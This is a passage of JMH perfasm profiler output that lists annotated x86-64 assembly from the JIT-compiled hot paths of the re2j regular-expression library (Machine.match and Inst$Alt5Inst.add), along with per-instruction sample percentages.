0.09% 0.06% │ │││ ││││ │ │││││ │││││ 0x00007f000d23da70: cmp $0x1a,%r10d
│ │││ ││││ │╭ │││││ │││││ 0x00007f000d23da74: jb 0x00007f000d23da89 ;*if_icmple
│ │││ ││││ ││ │││││ │││││ ; - com.google.re2j.Utils::isWordRune@9 (line 149)
│ │││ ││││ ││ │││││ │││││ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ │││ ││││ ││ │││││ │││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.06% 0.08% │ │││ ││││ ││ │││││ │││││ 0x00007f000d23da76: mov 0x20(%rsp),%r11d
0.43% 0.54% │ │││ ││││ ││ │││││ │││││ 0x00007f000d23da7b: add $0xffffff9f,%r11d
0.11% 0.13% │ │││ ││││ ││ │││││ │││││ 0x00007f000d23da7f: cmp $0x1a,%r11d
│ │││ ││││ ││╭│││││ │││││ 0x00007f000d23da83: jae 0x00007f000d23db4d ;*iconst_1
│ │││ ││││ ││││││││ │││││ ; - com.google.re2j.Utils::isWordRune@42 (line 149)
│ │││ ││││ ││││││││ │││││ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ │││ ││││ ││││││││ │││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.11% 0.06% │ │││ ││││ │↘││││││ │││││↗ 0x00007f000d23da89: mov $0x1,%r10d ;*ireturn
│ │││ ││││ │ ││││││ ││││││ ; - com.google.re2j.Utils::isWordRune@47 (line 149)
│ │││ ││││ │ ││││││ ││││││ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ │││ ││││ │ ││││││ ││││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.29% 0.14% │ │││ ││││ │ ││││││ ││││││↗ 0x00007f000d23da8f: cmp %r10d,%ebp
│ │││ ││││ │ │╰││││ │││││││ 0x00007f000d23da92: je 0x00007f000d23d706 ;*if_icmpeq
│ │││ ││││ │ │ ││││ │││││││ ; - com.google.re2j.Utils::emptyOpContext@47 (line 185)
│ │││ ││││ │ │ ││││ │││││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.03% 0.07% │ │││ ││││ │ │ ││││ │││││││ 0x00007f000d23da98: or $0x10,%r9d ;*ior ; - com.google.re2j.Utils::emptyOpContext@53 (line 186)
│ │││ ││││ │ │ ││││ │││││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.05% 0.06% │ │││ ││││ │ │ ╰│││ │││││││ 0x00007f000d23da9c: jmpq 0x00007f000d23d70a
0.01% 0.00% │ │││ ↘│││ │ │ │││ │││││││ 0x00007f000d23daa1: mov $0x5,%r9d
│ │││ │││ │ │ ╰││ │││││││ 0x00007f000d23daa7: jmpq 0x00007f000d23da23
0.01% 0.01% │ │││ │↘│ │ │ ││ │││││││ 0x00007f000d23daac: or $0xa,%r9d ;*ior ; - com.google.re2j.Utils::emptyOpContext@27 (line 180)
│ │││ │ │ │ │ ││ │││││││ ; - com.google.re2j.Machine::match@322 (line 245)
│ │││ │ │ │ │ ╰│ │││││││ 0x00007f000d23dab0: jmp 0x00007f000d23da36
0.01% │ │↘│ │ │ │ │ │ │││││││ 0x00007f000d23dab2: mov %r13d,0x18(%rsp)
0.01% 0.01% │ │ │ │ │ │ │ │ │││││││ 0x00007f000d23dab7: mov 0x24(%rsp),%ecx
│ │ │ │ │ │ │ │ │││││││ 0x00007f000d23dabb: mov $0xffffffff,%r10d
│ │ │ │ │ │ │ ╰ │││││││ 0x00007f000d23dac1: jmpq 0x00007f000d23d8ff
0.00% 0.00% │ ↘ │ │ │ │ │ │││││││ 0x00007f000d23dac6: test %ebp,%ebp
│ │ │ │ │ │ │││││││ 0x00007f000d23dac8: jne 0x00007f000d23e791 ;*ifeq
│ │ │ │ │ │ │││││││ ; - com.google.re2j.Machine::freeQueue@4 (line 150)
│ │ │ │ │ │ │││││││ ; - com.google.re2j.Machine::freeQueue@3 (line 146)
│ │ │ │ │ │ │││││││ ; - com.google.re2j.Machine::match@443 (line 267)
0.00% 0.00% │ │ │ │ │ │ │││││││ 0x00007f000d23dace: mov 0x10(%rsp),%r10
0.01% │ │ │ │ │ │ │││││││ 0x00007f000d23dad3: movzbl 0x18(%r10),%r11d ; implicit exception: dispatches to 0x00007f000d23eae9
0.01% │ │ │ │ │ │ │││││││ 0x00007f000d23dad8: test %r11d,%r11d
│ │ │ │ │ │ ╭│││││││ 0x00007f000d23dadb: jne 0x00007f000d23daf6 ;*ifeq
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine$Queue::clear@4 (line 69)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@26 (line 156)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@3 (line 146)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::match@443 (line 267)
│ │ │ │ │ │ ││││││││ 0x00007f000d23dadd: mov 0x1c(%r10),%ebp ;*getfield pcs
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine$Queue::clear@29 (line 73)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@26 (line 156)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@3 (line 146)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::match@443 (line 267)
│ │ │ │ │ │ ││││││││ 0x00007f000d23dae1: movb $0x1,0x18(%r10) ;*putfield empty
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine$Queue::clear@15 (line 71)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@26 (line 156)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@3 (line 146)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::match@443 (line 267)
│ │ │ │ │ │ ││││││││ 0x00007f000d23dae6: mov %r12,0x10(%r10) ;*putfield pcsl
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine$Queue::clear@25 (line 72)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@26 (line 156)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@3 (line 146)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::match@443 (line 267)
│ │ │ │ │ │ ││││││││ 0x00007f000d23daea: mov %r12d,0xc(%r10) ;*putfield size
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine$Queue::clear@10 (line 70)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@26 (line 156)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::freeQueue@3 (line 146)
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::match@443 (line 267)
│ │ │ │ │ │ ││││││││ 0x00007f000d23daee: test %ebp,%ebp
│ │ │ │ │ │ ││││││││ 0x00007f000d23daf0: jne 0x00007f000d23e835 ;*if_icmpne
│ │ │ │ │ │ ││││││││ ; - com.google.re2j.Machine::match@12 (line 183)
0.01% │ │ │ │ │ │ ↘│││││││ 0x00007f000d23daf6: add $0xb0,%rsp
0.00% │ │ │ │ │ │ │││││││ 0x00007f000d23dafd: pop %rbp
0.01% │ │ │ │ │ │ │││││││ 0x00007f000d23dafe: test %eax,0x18aad4fc(%rip) # 0x00007f0025ceb000
│ │ │ │ │ │ │││││││ ; {poll_return}
│ │ │ │ │ │ │││││││ 0x00007f000d23db04: retq
0.00% 0.02% │ ↘ │ │ │ │ │││││││ 0x00007f000d23db05: mov $0xffffffff,%r10d
0.00% │ │ │ │ │ │││││││ 0x00007f000d23db0b: xor %ecx,%ecx
│ │ │ │ │ ╰││││││ 0x00007f000d23db0d: jmpq 0x00007f000d23d8ff
│ ↘ │ │ │ ││││││ 0x00007f000d23db12: or $0x1,%r9d ;*ior ; - com.google.re2j.Utils::emptyOpContext@18 (line 177)
│ │ │ │ ││││││ ; - com.google.re2j.Machine::match@322 (line 245)
│ │ │ │ ╰│││││ 0x00007f000d23db16: jmpq 0x00007f000d23da2c
0.00% │ ↘ │ │ │││││ 0x00007f000d23db1b: or $0x2,%r9d ;*ior ; - com.google.re2j.Utils::emptyOpContext@37 (line 183)
│ │ │ │││││ ; - com.google.re2j.Machine::match@322 (line 245)
0.00% │ │ │ ╰││││ 0x00007f000d23db1f: jmpq 0x00007f000d23da40
0.02% 0.04% │ ↘ │ ││││ 0x00007f000d23db24: mov 0x18(%rsp),%r10d
0.10% 0.09% │ │ ││││ 0x00007f000d23db29: add $0xffffffd0,%r10d
│ │ ││││ 0x00007f000d23db2d: cmp $0xa,%r10d
│ │ ╰│││ 0x00007f000d23db31: jb 0x00007f000d23da62 ;*if_icmple
│ │ │││ ; - com.google.re2j.Utils::isWordRune@33 (line 149)
│ │ │││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185)
│ │ │││ ; - com.google.re2j.Machine::match@322 (line 245)
0.01% 0.02% │ │ │││ 0x00007f000d23db37: mov 0x18(%rsp),%r10d
0.01% 0.03% │ │ │││ 0x00007f000d23db3c: cmp $0x5f,%r10d
0.08% 0.08% │ │ │││ 0x00007f000d23db40: je 0x00007f000d23e8e9 ;*if_icmpne
│ │ │││ ; - com.google.re2j.Utils::isWordRune@39 (line 149)
│ │ │││ ; - com.google.re2j.Utils::emptyOpContext@40 (line 185)
│ │ │││ ; - com.google.re2j.Machine::match@322 (line 245)
0.01% 0.00% │ │ │││ 0x00007f000d23db46: xor %ebp,%ebp
0.03% 0.00% │ │ ╰││ 0x00007f000d23db48: jmpq 0x00007f000d23da67
0.10% 0.09% │ ↘ ││ 0x00007f000d23db4d: mov 0x20(%rsp),%r10d
0.21% 0.23% │ ││ 0x00007f000d23db52: add $0xffffffd0,%r10d
0.10% 0.07% │ ││ 0x00007f000d23db56: cmp $0xa,%r10d
│ ╰│ 0x00007f000d23db5a: jb 0x00007f000d23da89 ;*if_icmple
│ │ ; - com.google.re2j.Utils::isWordRune@33 (line 149)
│ │ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ │ ; - com.google.re2j.Machine::match@322 (line 245)
0.04% 0.03% │ │ 0x00007f000d23db60: cmp $0x5f,%r13d
│ │ 0x00007f000d23db64: je 0x00007f000d23e929 ;*if_icmpne
│ │ ; - com.google.re2j.Utils::isWordRune@39 (line 149)
│ │ ; - com.google.re2j.Utils::emptyOpContext@44 (line 185)
│ │ ; - com.google.re2j.Machine::match@322 (line 245)
0.00% 0.01% │ │ 0x00007f000d23db6a: xor %r10d,%r10d
0.03% 0.00% │ ╰ 0x00007f000d23db6d: jmpq 0x00007f000d23da8f
↘ 0x00007f000d23db72: mov 0x60(%rsp),%rcx
0x00007f000d23db77: movb $0x1,0x10(%rcx) ;*putfield matched
; - com.google.re2j.Machine::step@161 (line 305)
; - com.google.re2j.Machine::match@355 (line 246)
0x00007f000d23db7b: test %r14d,%r14d
0x00007f000d23db7e: jne 0x00007f000d23e851 ;*ifne
; - com.google.re2j.Machine::step@166 (line 306)
; - com.google.re2j.Machine::match@355 (line 246)
0.00% 0x00007f000d23db84: mov 0x28(%rsp),%r10d
0x00007f000d23db89: movzbl 0x18(%r12,%r10,8),%r11d
0x00007f000d23db8f: test %r11d,%r11d
0x00007f000d23db92: jne 0x00007f000d23dbb1 ;*ifeq
; - com.google.re2j.Machine$Queue::clear@4 (line 69)
; - com.google.re2j.Machine::freeQueue@26 (line 156)
; - com.google.re2j.Machine::step@173 (line 308)
; - com.google.re2j.Machine::match@355 (line 246)
0x00007f000d23db94: mov %r12,0x10(%r12,%r10,8) ;*putfield pcsl
....................................................................................................
59.78% 60.72% <total for region 1>
....[Hottest Region 2]..............................................................................
C2, level 4, com.google.re2j.Inst$Alt5Inst::add, version 505 (852 bytes)
# parm4: rdi:rdi = '[I'
# parm5: [sp+0x70] = 'com/google/re2j/Machine' (sp of caller)
0x00007f000d2201c0: mov 0x8(%rsi),%r10d
0x00007f000d2201c4: shl $0x3,%r10
0x00007f000d2201c8: cmp %r10,%rax
0x00007f000d2201cb: jne 0x00007f000d045e20 ; {runtime_call}
0x00007f000d2201d1: data16 xchg %ax,%ax
0x00007f000d2201d4: nopl 0x0(%rax,%rax,1)
0x00007f000d2201dc: data16 data16 xchg %ax,%ax
[Verified Entry Point]
0.16% 0.04% 0x00007f000d2201e0: mov %eax,-0x14000(%rsp)
0.53% 0.45% 0x00007f000d2201e7: push %rbp
0.01% 0x00007f000d2201e8: sub $0x60,%rsp ;*synchronization entry
; - com.google.re2j.Inst$Alt5Inst::add@-1 (line 260)
0.58% 0.76% 0x00007f000d2201ec: vmovq %r8,%xmm6
0.01% 0x00007f000d2201f1: vmovq %rsi,%xmm4
0.03% 0.05% 0x00007f000d2201f6: vmovd %ecx,%xmm0
0.09% 0.16% 0x00007f000d2201fa: mov 0x18(%rsi),%ecx ;*getfield pc
; - com.google.re2j.Inst$Alt5Inst::add@2 (line 260)
0.65% 0.56% 0x00007f000d2201fd: mov 0x10(%rdx),%r11 ;*getfield pcsl
; - com.google.re2j.Machine$Queue::contains@7 (line 42)
; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260)
; implicit exception: dispatches to 0x00007f000d220b71
0.01% 0x00007f000d220201: cmp $0x40,%ecx
0x00007f000d220204: jg 0x00007f000d2206dd ;*if_icmpgt
; - com.google.re2j.Machine$Queue::contains@3 (line 41)
; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260)
0.02% 0.01% 0x00007f000d22020a: mov $0x1,%eax
0.12% 0.06% 0x00007f000d22020f: mov $0x1,%r8d
0.53% 0.51% 0x00007f000d220215: shl %cl,%r8 ;*lshl
; - com.google.re2j.Machine$Queue::contains@12 (line 42)
; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260)
0.15% 0.13% 0x00007f000d220218: mov %r11,%r10
0.53% 0.62% 0x00007f000d22021b: and %r8,%r10 ;*land
; - com.google.re2j.Machine$Queue::contains@13 (line 42)
; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260)
0.01% 0.01% 0x00007f000d22021e: xor %r13d,%r13d
0.06% 0.04% 0x00007f000d220221: test %r10,%r10
0x00007f000d220224: jne 0x00007f000d220711 ;*ifeq
; - com.google.re2j.Machine$Queue::contains@16 (line 42)
; - com.google.re2j.Inst$Alt5Inst::add@5 (line 260)
0.08% 0.08% 0x00007f000d22022a: cmp $0x40,%ecx
0x00007f000d22022d: jge 0x00007f000d220755 ;*if_icmpge
; - com.google.re2j.Machine$Queue::add@3 (line 51)
; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263)
0.58% 0.72% 0x00007f000d220233: mov %r12b,0x18(%rdx) ;*putfield empty
; - com.google.re2j.Machine$Queue::add@33 (line 56)
; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263)
0.00% 0.01% 0x00007f000d220237: mov 0x2c(%rsi),%ebp ;*getfield outInst
; - com.google.re2j.Inst$Alt5Inst::add@23 (line 265)
0.03% 0.04% 0x00007f000d22023a: or %r11,%r8 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52)
; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263)
0.12% 0.08% 0x00007f000d22023d: mov %r8,0x10(%rdx) ;*putfield pcsl
; - com.google.re2j.Machine$Queue::add@15 (line 52)
; - com.google.re2j.Inst$Alt5Inst::add@19 (line 263)
0.63% 0.49% 0x00007f000d220241: mov 0x8(%r12,%rbp,8),%r11d ; implicit exception: dispatches to 0x00007f000d220b85
0.00% 0x00007f000d220246: cmp $0xf8019909,%r11d ; {metadata('com/google/re2j/Inst$MatchInst')}
0x00007f000d22024d: jne 0x00007f000d2205b1
0.04% 0.02% 0x00007f000d220253: lea (%r12,%rbp,8),%r10 ;*invokevirtual add
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.09% 0.10% 0x00007f000d220257: mov 0x18(%r10),%ecx ;*getfield pc
; - com.google.re2j.Inst$MatchInst::add@2 (line 144)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.54% 0.50% 0x00007f000d22025b: cmp $0x40,%ecx
0x00007f000d22025e: jg 0x00007f000d220789 ;*if_icmpgt
; - com.google.re2j.Machine$Queue::contains@3 (line 41)
; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.01% 0x00007f000d220264: mov $0x1,%r11d
0.02% 0.04% 0x00007f000d22026a: shl %cl,%r11 ;*lshl
; - com.google.re2j.Machine$Queue::contains@12 (line 42)
; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.72% 0.69% 0x00007f000d22026d: mov %r8,%rbx
0.02% 0.04% 0x00007f000d220270: and %r11,%rbx ;*land
; - com.google.re2j.Machine$Queue::contains@13 (line 42)
; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.07% 0.09% 0x00007f000d220273: test %rbx,%rbx
0x00007f000d220276: jne 0x00007f000d2207c9 ;*ifeq
; - com.google.re2j.Machine$Queue::contains@16 (line 42)
; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.67% 0.40% 0x00007f000d22027c: cmp $0x40,%ecx
0x00007f000d22027f: jge 0x00007f000d220811 ;*if_icmpge
; - com.google.re2j.Machine$Queue::add@3 (line 51)
; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.00% 0x00007f000d220285: or %r11,%r8 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52)
; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.02% 0.05% 0x00007f000d220288: mov %r8,0x10(%rdx) ;*putfield pcsl
; - com.google.re2j.Machine$Queue::add@15 (line 52)
; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.06% 0.12% 0x00007f000d22028c: mov 0x70(%rsp),%r11
0.59% 0.41% 0x00007f000d220291: movzbl 0x11(%r11),%ebp ;*getfield captures
; - com.google.re2j.Inst$MatchInst::add@24 (line 149)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
; implicit exception: dispatches to 0x00007f000d220bad
0.01% 0x00007f000d220296: test %ebp,%ebp
0x00007f000d220298: jne 0x00007f000d220851 ;*ifeq
; - com.google.re2j.Inst$MatchInst::add@27 (line 149)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.03% 0.04% 0x00007f000d22029e: mov 0xc(%rdx),%ecx ;*getfield size
; - com.google.re2j.Machine$Queue::addThread@6 (line 66)
; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.10% 0.15% 0x00007f000d2202a1: mov 0x20(%rdx),%ebx ;*getfield denseThreadsInstructions
; - com.google.re2j.Machine$Queue::addThread@1 (line 66)
; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.54% 0.63% 0x00007f000d2202a4: mov %ecx,%esi
0.03% 0.02% 0x00007f000d2202a6: inc %esi ;*iadd
; - com.google.re2j.Machine$Queue::addThread@11 (line 66)
; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.05% 0.04% 0x00007f000d2202a8: mov %esi,0xc(%rdx) ;*putfield size
; - com.google.re2j.Machine$Queue::addThread@12 (line 66)
; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.11% 0.11% 0x00007f000d2202ab: mov 0xc(%r12,%rbx,8),%edi ; implicit exception: dispatches to 0x00007f000d220bbd
0.54% 0.48% 0x00007f000d2202b0: cmp %edi,%ecx
╭ 0x00007f000d2202b2: jae 0x00007f000d220535
0.02% 0.01% │ 0x00007f000d2202b8: vmovd %esi,%xmm1
0.03% 0.02% │ 0x00007f000d2202bc: vmovd %ebx,%xmm2
0.09% 0.12% │ 0x00007f000d2202c0: mov %ecx,0x18(%rsp)
0.57% 0.45% │ 0x00007f000d2202c4: mov %r10,%rcx
0.01% │ 0x00007f000d2202c7: mov 0x70(%rsp),%r14
0.03% 0.06% │ 0x00007f000d2202cc: mov 0x8(%r12,%rbx,8),%r11d
0.10% 0.11% │ 0x00007f000d2202d1: cmp $0xf8019807,%r11d ; {metadata('com/google/re2j/Inst'[])}
│ 0x00007f000d2202d8: jne 0x00007f000d2205e1 ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.61% 0.82% │ 0x00007f000d2202de: vmovq %xmm4,%r10
0.01% 0.01% │ 0x00007f000d2202e3: mov 0x34(%r10),%ebp ;*getfield inst2
│ ; - com.google.re2j.Inst$Alt5Inst::add@41 (line 266)
0.04% 0.01% │ 0x00007f000d2202e7: shr $0x3,%rcx ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.11% 0.10% │ 0x00007f000d2202eb: lea (%r12,%rbx,8),%r11 ;*getfield denseThreadsInstructions
│ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.57% 0.62% │ 0x00007f000d2202ef: mov 0x18(%rsp),%r10d
0.00% 0.00% │ 0x00007f000d2202f4: lea 0x10(%r11,%r10,4),%r10
0.04% 0.04% │ 0x00007f000d2202f9: mov %ecx,(%r10)
0.27% 0.25% │ 0x00007f000d2202fc: shr $0x9,%r10
0.47% 0.43% │ 0x00007f000d220300: movabs $0x7f001e6f3000,%rbx
0.00% │ 0x00007f000d22030a: mov %r12b,(%rbx,%r10,1) ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@35 (line 265)
0.17% 0.13% │ 0x00007f000d22030e: mov 0x8(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007f000d220bd5
0.13% 0.09% │ 0x00007f000d220313: cmp $0xf8019909,%r10d ; {metadata('com/google/re2j/Inst$MatchInst')}
│ 0x00007f000d22031a: jne 0x00007f000d220619
0.46% 0.35% │ 0x00007f000d220320: lea (%r12,%rbp,8),%r10 ;*invokevirtual add
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.01% 0.01% │ 0x00007f000d220324: vmovq %r10,%xmm3
0.07% 0.06% │ 0x00007f000d220329: mov 0x18(%r10),%ecx ;*getfield pc
│ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.13% 0.20% │ 0x00007f000d22032d: vmovd %ecx,%xmm5
0.51% 0.22% │ 0x00007f000d220331: cmp $0x40,%ecx
│ 0x00007f000d220334: jg 0x00007f000d22088d ;*if_icmpgt
│ ; - com.google.re2j.Machine$Queue::contains@3 (line 41)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.00% 0.00% │ 0x00007f000d22033a: mov $0x1,%r10d
0.09% 0.17% │ 0x00007f000d220340: shl %cl,%r10 ;*lshl
│ ; - com.google.re2j.Machine$Queue::contains@12 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.60% 0.49% │ 0x00007f000d220343: mov %r8,%rcx
0.12% 0.12% │ 0x00007f000d220346: and %r10,%rcx ;*land
│ ; - com.google.re2j.Machine$Queue::contains@13 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.11% 0.07% │ 0x00007f000d220349: test %rcx,%rcx
│ 0x00007f000d22034c: jne 0x00007f000d2208c9 ;*ifeq
│ ; - com.google.re2j.Machine$Queue::contains@16 (line 42)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.49% 0.59% │ 0x00007f000d220352: vmovd %xmm5,%ecx
0.00% 0.00% │ 0x00007f000d220356: cmp $0x40,%ecx
│ 0x00007f000d220359: jge 0x00007f000d220911 ;*if_icmpge
│ ; - com.google.re2j.Machine$Queue::add@3 (line 51)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.11% 0.16% │ 0x00007f000d22035f: or %r10,%r8 ;*lor ; - com.google.re2j.Machine$Queue::add@14 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.07% 0.04% │ 0x00007f000d220362: mov %r8,0x10(%rdx) ;*putfield pcsl
│ ; - com.google.re2j.Machine$Queue::add@15 (line 52)
│ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.48% 0.29% │ 0x00007f000d220366: mov 0x18(%rsp),%ecx
│ 0x00007f000d22036a: add $0x2,%ecx
0.11% 0.11% │ 0x00007f000d22036d: mov %ecx,0xc(%rdx) ;*putfield size
│ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.09% 0.10% │ 0x00007f000d220370: mov 0x18(%rsp),%r10d
0.58% 0.59% │ 0x00007f000d220375: add $0x4,%r10d ;*iadd
│ ; - com.google.re2j.Machine$Queue::addThread@11 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@89 (line 268)
0.00% 0.01% │ 0x00007f000d220379: cmp %edi,%r10d
│ 0x00007f000d22037c: jae 0x00007f000d220571 ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.11% 0.17% │ 0x00007f000d220382: vmovd %r9d,%xmm7
0.08% 0.15% │ 0x00007f000d220387: vmovq %xmm4,%r9
0.42% 0.58% │ 0x00007f000d22038c: mov 0x38(%r9),%ebp ;*getfield inst3
│ ; - com.google.re2j.Inst$Alt5Inst::add@59 (line 267)
0.00% 0.00% │ 0x00007f000d220390: vmovq %xmm3,%r9
0.11% 0.10% │ 0x00007f000d220395: mov %r9,%rcx
0.09% 0.09% │ 0x00007f000d220398: shr $0x3,%rcx ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.43% 0.58% │ 0x00007f000d22039c: movslq 0x18(%rsp),%r9
│ 0x00007f000d2203a1: lea (%r11,%r9,4),%r9 ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@107 (line 269)
0.15% 0.10% │ 0x00007f000d2203a5: mov %r9,%rdi
0.13% 0.10% │ 0x00007f000d2203a8: add $0x14,%rdi
0.49% 0.50% │ 0x00007f000d2203ac: mov %ecx,(%rdi)
0.02% 0.01% │ 0x00007f000d2203ae: mov %rdi,%rcx
0.07% 0.15% │ 0x00007f000d2203b1: shr $0x9,%rcx
0.07% 0.07% │ 0x00007f000d2203b5: mov %r12b,(%rbx,%rcx,1) ;*aastore
│ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66)
│ ; - com.google.re2j.Inst$MatchInst::add@75 (line 158)
│ ; - com.google.re2j.Inst$Alt5Inst::add@53 (line 266)
0.55% 0.43% │ 0x00007f000d2203b9: mov 0x8(%r12,%rbp,8),%ecx ; implicit exception: dispatches to 0x00007f000d220bfd
0.03% 0.04% │ 0x00007f000d2203be: cmp $0xf8019909,%ecx ; {metadata('com/google/re2j/Inst$MatchInst')}
│ 0x00007f000d2203c4: jne 0x00007f000d220649
0.15% 0.16% │ 0x00007f000d2203ca: lea (%r12,%rbp,8),%rcx ;*invokevirtual add
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.06% 0.15% │ 0x00007f000d2203ce: vmovq %rcx,%xmm1
0.43% 0.64% │ 0x00007f000d2203d3: mov 0x18(%rcx),%ecx ;*getfield pc
│ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.00% 0.02% │ 0x00007f000d2203d6: vmovd %ecx,%xmm2
0.10% 0.14% │ 0x00007f000d2203da: cmp $0x40,%ecx
│ 0x00007f000d2203dd: jg 0x00007f000d220951 ;*if_icmpgt
│ ; - com.google.re2j.Machine$Queue::contains@3 (line 41)
│ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144)
│ ; - com.google.re2j.Inst$Alt5Inst::add@71 (line 267)
0.13% 0.12% │ 0x00007f000d2203e3: mov $0x1,%edi
